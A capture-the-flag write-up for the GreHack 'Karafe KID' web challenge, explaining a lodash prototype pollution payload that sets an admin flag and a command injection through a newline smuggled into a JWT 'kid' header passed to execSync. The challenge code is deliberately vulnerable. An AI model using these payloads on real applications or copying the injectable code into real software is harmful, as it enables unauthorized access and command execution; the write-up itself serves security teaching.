Introduction
This year, I was happy to be part of the organization committee for the GreHack conference and I created a few challenges for the CTF. Thanks to all the participants and organizers, the event was once again awesome 🔥 💚 Thanks to Elweth with whom it’s a pleasure to create this challenge!
Challenge
- Name :
Karafe KID
- Category :
Web
- Solves :
4
- Points :
400
- Authors :
Nishacid, Elweth
During a CTF, you come across this platform that serves as an API for solving math calculations related to CTFs. You find the site’s behavior weird, and decide to take a look at the application’s code.
Recon
This challenge starts with a simple web application that shows us the API routes used to perform a mathematical function, and there’s a function to view the challenge’s source code.
Looking at the source code, we can see that there is an admin route that is only accessible to users who have the user
object set to CheckIfAdmin
at True
. We can also see that there’s a typo in the object that uses CheckifAdmin
and the CheckIfAdmin
condition.
// const variables
const port = 3000
let user = {
username: 'Ronald Rivest',
spec: 'RSA',
CheckifAdmin: false
};
// SNIPPED
// Route admin
app.get('/admin', (req, res) => {
if (user.CheckIfAdmin) {
const token = req.cookies.token;
// SNIPPED
return res.status(403).json({ message: 'You are not admin.' });
});
That’s how we started to get the idea that we needed to pollute the object to match the condition. Continuing in the source code review, we notice that the API use the merge
function of the loldash library.
const _ = require("lodash");
// SNIPPED
app.post('/api/polynome', (req, res) => {
console.log('Data:', req.body);
let array = {
a: 0,
b: 0,
c: 0
};
_.merge(array, req.body);
let { a, b, c } = array;
Exploiting
After some digging, we found a known vulnerability (CVE-2018-16487) on this function and library called Prototype Pollution. We can change and pollute the value of an object, exactly what we need here.
{"a": "2", "__proto__": { "CheckIfAdmin": true }}
There’s no specific message indicating whether our payload worked or not, but we can try accessing /admin
again now, and see that it was successful.
According to the source code of the /admin
route, a JSON Web Token (JWT) is defined on our first login.
// Route admin
app.get('/admin', (req, res) => {
if (user.CheckIfAdmin) {
const token = req.cookies.token;
// first login
if (!token){
console.log('No token provided. Giving one');
const keyFiles = readdirSync('./keys');
if (keyFiles.length === 0) {
console.log('No key files found.');
return res.status(500).json({ message: 'No key files found.' });
}
const kid = keyFiles[0];
const jwtSecret = fs.readFileSync(`./keys/${kid}`, 'utf8');
const token = jwt.sign({ username: user.username, admin: true }, jwtSecret, { expiresIn: '4h', header: { kid } });
console.log(token);
res.cookie('token', token, { httpOnly: true });
return res.sendFile('views/admin.html', {root: __dirname});
}
As can be seen, the application uses a security system to sign the JWT with a Key Identifier (KID). It appears that these keys are defined with an UUID which corresponds to a filename in the keys/ directory. The idea is that files (and secrets) can be rotated, which means that even if a key leaks, it can be easily replaced.
According to the source, when the administrator makes a request on the endpoint, the JWT is parsed and the KID value is extracted, then the secret is checked against the UUID in the value.
// get the JWT Header
let header;
try {
header = JSON.parse(Buffer.from(token.split('.')[0], 'base64').toString());
} catch (error) {
console.log('Failed to decode JWT header:', error.message);
return res.status(400).json({ message: 'Failed to decode JWT header.' });
}
// get the KID
const kid = header.kid;
if (!kid) {
console.log('No kid found in JWT header.');
return res.status(400).json({ message: 'No kid found in JWT header.' });
}
// check if only uuid are used
const allowedChars = /^[a-zA-Z0-9_\s\.-]+$/
if (!allowedChars.test(kid)) {
console.log('Forbidden characters in kid.');
return res.status(400).json({ message: 'Forbidden characters in kid.' });
}
// fetch the KID file
let keyFile;
try {
keyFile = execSync(`find ./keys -name ${kid}`).toString().trim();
} catch (error) {
console.log('Failed to find key file:', error.message);
return res.status(500).json({ message: 'Failed to find key file.' });
}
if (!keyFile) {
console.log('No key file found.');
return res.status(400).json({ message: 'No key file found.' });
}
// retrive secret from file
const jwtSecret = fs.readFileSync(keyFile, 'utf8');
try {
jwt.verify(token, jwtSecret);
} catch (error) {
console.log('Failed to verify JWT:', error.message);
return res.status(403).json({ message: 'Failed to verify JWT.' });
}
return res.sendFile('views/admin.html', {root: __dirname});
The interessting part of this system, is that the JWT can’t be verified before the application retrive the secret from the file, so we can alter the KID field without needed of the JWT verification signature.
The other interesting point is the execSync()
function, which executes a find
command to retrieve the file based on the UID filename, validated by a regex and parsed from the KID field, which we can edit.
The regex seems to match only the UUID, but we can see by trying to match other UUIDs on [regex101.com] (https://regex101.com/) that according to the regex \s
, whitespace and therefore new line are accepted.
If we visualize it in the code, it will interpret it this way :
keyFile = execSync(`find ./keys -name uuid\n id`).toString().trim();
And finally, if we try it directly on the application, we get the id
command back in the stacktrace.
Then simply print the flag in the application folder.
- Flag :
GH{A-Typ0_Pollut3d_My_K1D}